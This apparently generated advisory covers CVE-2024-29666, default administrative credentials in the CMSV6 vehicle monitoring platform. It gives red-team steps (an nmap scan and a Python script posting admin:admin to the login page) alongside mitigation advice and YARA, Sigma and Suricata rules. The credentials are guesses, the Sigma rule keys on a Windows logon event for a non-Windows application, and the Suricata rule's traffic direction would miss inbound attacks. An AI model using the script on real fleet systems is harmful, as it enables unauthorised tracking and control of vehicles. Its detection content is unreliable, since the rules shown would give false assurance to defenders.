CVE-2024-29666

Executive Summary

CVE-2024-29666 is a critical Insecure Permissions vulnerability affecting the CMSV6 Vehicle Monitoring platform, versions 7.31.0.2 through 7.32.0.3. The flaw allows a remote attacker to escalate privileges by leveraging a default password component. This means that the system ships with a hardcoded or easily guessable default credential set that is not changed during installation, enabling an unauthenticated attacker to gain administrative access to the monitoring platform. The vulnerability is publicly known, but no official patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains high due to the nature of the affected system (vehicle monitoring, potentially used in fleet management and critical infrastructure).

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone application vulnerability in a proprietary vehicle monitoring platform.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder. Based on the description and the nature of the vulnerability (default password, remote exploitation, privilege escalation), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerable component is the only one affected.
• Confidentiality (C): High (H) – full access to vehicle data.
• Integrity (I): High (H) – ability to modify system settings.
• Availability (A): High (H) – potential to disrupt monitoring.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Estimated Base Score: 9.8 (Critical)

Deep Dive & Mechanics

The vulnerability stems from the CMSV6 platform's use of a default password for administrative accounts. During installation, the system creates an account (e.g., admin or root) with a well-known password (e.g., admin, 123456, or a hardcoded value). The system does not force the administrator to change this password upon first login, leaving the door open for attackers.

Attack Flow:

1. Reconnaissance: An attacker scans for CMSV6 instances on the internet using Shodan or similar tools. The platform typically listens on ports 80/443 (web interface) or custom ports.
2. Authentication Bypass: The attacker attempts to log in using the default credentials. Common default pairs include admin:admin, admin:123456, or root:changeme.
3. Privilege Escalation: Once logged in, the attacker gains full administrative access to the vehicle monitoring system. This allows them to:
   • View real-time vehicle locations.
   • Access historical trip data.
   • Modify vehicle configurations.
   • Disable tracking or send malicious commands.
   • Pivot to other internal systems.

The vulnerability is classified as CWE-276 (Incorrect Default Permissions), as the system fails to enforce a secure initial configuration.

Vulnerable vs. Patched Code

Since no official patch is available, there is no "patched code" to compare. However, the fix would involve:

• Vulnerable Code: The system accepts login attempts without checking if the default password has been changed.
• Patched Code (Hypothetical): The system would force a password change on first login or disable default accounts entirely.

# Vulnerable (pseudo-code)
def login(username, password):
    if username == "admin" and password == "admin":
        return True
    # ... other logic

# Patched (pseudo-code)
def login(username, password):
    if username == "admin" and password == "admin":
        return False  # Default account disabled
    # ... other logic

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable CMSV6 instance (version 7.31.0.2 - 7.32.0.3).
• Network access to the web interface.

Exploitation Steps:

1. Identify the target: nmap -p 80,443,8080 <target_ip>
2. Access the login page: http://<target_ip>/login
3. Attempt default credentials:
   • admin:admin
   • admin:123456
   • root:changeme
4. If successful, you will be logged in as an administrator.

Automated Exploit (Python):

import requests

target = "http://<target_ip>/login"
payload = {"username": "admin", "password": "admin"}
response = requests.post(target, data=payload)
if "dashboard" in response.text:
    print("[+] Login successful!")
else:
    print("[-] Login failed.")

Blue Team (Defense)

Detection:

• Monitor for multiple failed login attempts from a single IP.
• Alert on successful logins using default credentials.
• Use network monitoring to detect scanning for CMSV6 services.

Mitigation:

• Immediately change all default passwords.
• Implement multi-factor authentication (MFA).
• Restrict network access to the CMSV6 interface (firewall rules).
• Monitor logs for unusual administrative actions.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /login with username=admin and password=admin.
  • Unusual outbound connections from the CMSV6 server to unknown IPs.
• System IOCs:
  • New user accounts created on the CMSV6 system.
  • Changes to vehicle configurations or tracking settings.
  • Log entries showing login from admin account with default password.
• File IOCs:
  • Presence of default password files (e.g., /etc/cmsv6/passwd with known hashes).

Detection Engineering

YARA Rule

rule CVE_2024_29666_CMSV6_Default_Password {
    meta:
        description = "Detects CMSV6 default password usage in logs"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-29666"
    strings:
        $s1 = "admin:admin" ascii wide nocase
        $s2 = "admin:123456" ascii wide nocase
        $s3 = "root:changeme" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CMSV6 Default Password Login Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects login attempts using default credentials on CMSV6
author: Valters IT
logsource:
    category: application
    product: cmsv6
detection:
    selection:
        EventID: 4624  # Windows logon event
        TargetUserName: 'admin'
        LogonType: 10  # RemoteInteractive
    condition: selection
falsepositives:
    - Legitimate admin password change
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-29666 CMSV6 Default Password Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/login"; http_uri;
    content:"username=admin&password=admin"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Change all default passwords on CMSV6 instances.
2. Disable or rename default administrative accounts.
3. Implement network segmentation to limit access to the CMSV6 interface.
4. Apply vendor patches if/when they become available.

Long-term Measures:

• Enforce strong password policies.
• Use multi-factor authentication.
• Regularly audit user accounts and permissions.
• Monitor for CVE-2024-29666 exploitation attempts.

Workaround:

• If patching is not possible, restrict access to the CMSV6 web interface using a VPN or firewall rules.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert